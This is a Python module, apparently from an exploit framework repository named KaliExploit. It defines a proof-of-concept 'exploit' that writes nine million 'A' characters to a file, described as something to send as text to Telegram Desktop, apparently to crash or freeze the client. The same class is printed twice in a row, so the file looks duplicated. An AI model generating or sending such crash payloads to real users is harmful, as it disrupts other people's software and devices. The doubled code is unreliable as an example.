<reponame>NotFoundHacker/KaliExploit
from core import logger
from colorama import Fore, Style

class Exploit:
    config={
        "file": "ksf.txt",
    }

    @staticmethod
    def show_info():
        logger.info("[ - ] This exploit generates an\nfile where you send it \nto telegram text(Desktop) its a PoC script")

    def run(self):
        buffer="A" * 9000000

        Save=open(self.config["file"], '+a')
        Save.write(buffer)
        Save.close()
        logger.info("[+]Made File")

    def show_options(self):
        print(Fore.YELLOW+"Options"+Style.RESET_ALL)
        print(Fore.YELLOW+"-------"+Style.RESET_ALL)
        for key in sorted(self.config.keys()):
            print(Fore.YELLOW+key,":",self.get_config(key)+Style.RESET_ALL)

    def get_config(self, key):
        return self.config[key]

    def set_config(self, key, value):
        if key in self.config.keys():
            self.config[key] = value
        else:
            logger.error("No options")

from core import logger
from colorama import Fore, Style

class Exploit:
    config={
        "file": "ksf.txt",
    }

    @staticmethod
    def show_info():
        logger.info("[ - ] This exploit generates an\nfile where you send it \nto telegram text(Desktop) its a PoC script")

    def run(self):
        buffer="A" * 9000000

        Save=open(self.config["file"], '+a')
        Save.write(buffer)
        Save.close()
        logger.info("[+]Made File")

    def show_options(self):
        print(Fore.YELLOW+"Options"+Style.RESET_ALL)
        print(Fore.YELLOW+"-------"+Style.RESET_ALL)
        for key in sorted(self.config.keys()):
            print(Fore.YELLOW+key,":",self.get_config(key)+Style.RESET_ALL)

    def get_config(self, key):
        return self.config[key]

    def set_config(self, key, value):
        if key in self.config.keys():
            self.config[key] = value
        else:
            logger.error("No options")